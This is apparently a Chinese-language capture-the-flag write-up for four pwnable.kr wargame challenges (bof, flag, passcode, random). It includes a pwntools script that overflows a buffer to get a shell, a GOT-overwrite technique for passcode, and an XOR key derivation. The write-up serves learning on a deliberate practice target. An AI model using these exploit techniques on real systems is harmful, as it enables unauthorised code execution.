目录
1.bof
32位,开了canary,拖入ida分析
只要把func函数的参数改为0xcafebabe即可get shell
通过动态调离参数的距离为0x34
EXP:
from pwn import *
from LibcSearcher import *
from pwnlib import *
import base64
from ctypes import *
sh=remote("pwnable.kr",9000)
#sh=process("./rbp")
#elf=ELF("./rbp")
libc=ELF("/lib32/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.arch="amd64"
un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda :sh.interactive()
U64=lambda :u64(sh.recv(6)+"\x00"*2)
#un("me : \n")
sl("a"*0x34+p32(0xCAFEBABE))
inter()
2.flag
file分析加了upx壳,通过upx指令脱壳
脱壳后拖入ida,获得flag
3.passcode
ssh连接进去,简单的分析了源代码,发现存在覆盖漏洞
通过gdb分析,Welcome函数中name的输入可以用来覆盖passcode1的值
在name里直接写入fllush的got表到passcode1中,name的起始地址在[ebp-0x70]处,passcode1位于[ebp-0x10]处,之间相差96个字节。welcome函数中如果要输入100个字节的话,最后四位可以覆盖掉passcode1的地址,然后在第一个scanf输入时因为没有&符,所以可以把fflush的got表改为system("/bin/cat flag")的地址,然后再执行fllush函数时即可获得flag
4.random
random是固定的随机值,随机值为1804289383,在if判断中自己输入的值异或随机值=0xdeadbeef就可以获得flag
大家先了解下异或,是一个很简单的运算符,例如 两个相同的数异或等于0 a^a=0 如果a^b=c 则a^c=b c^b=a
所以通过1804289383^0xdeadbeef就等于key(3039230856),然后运行random获得shell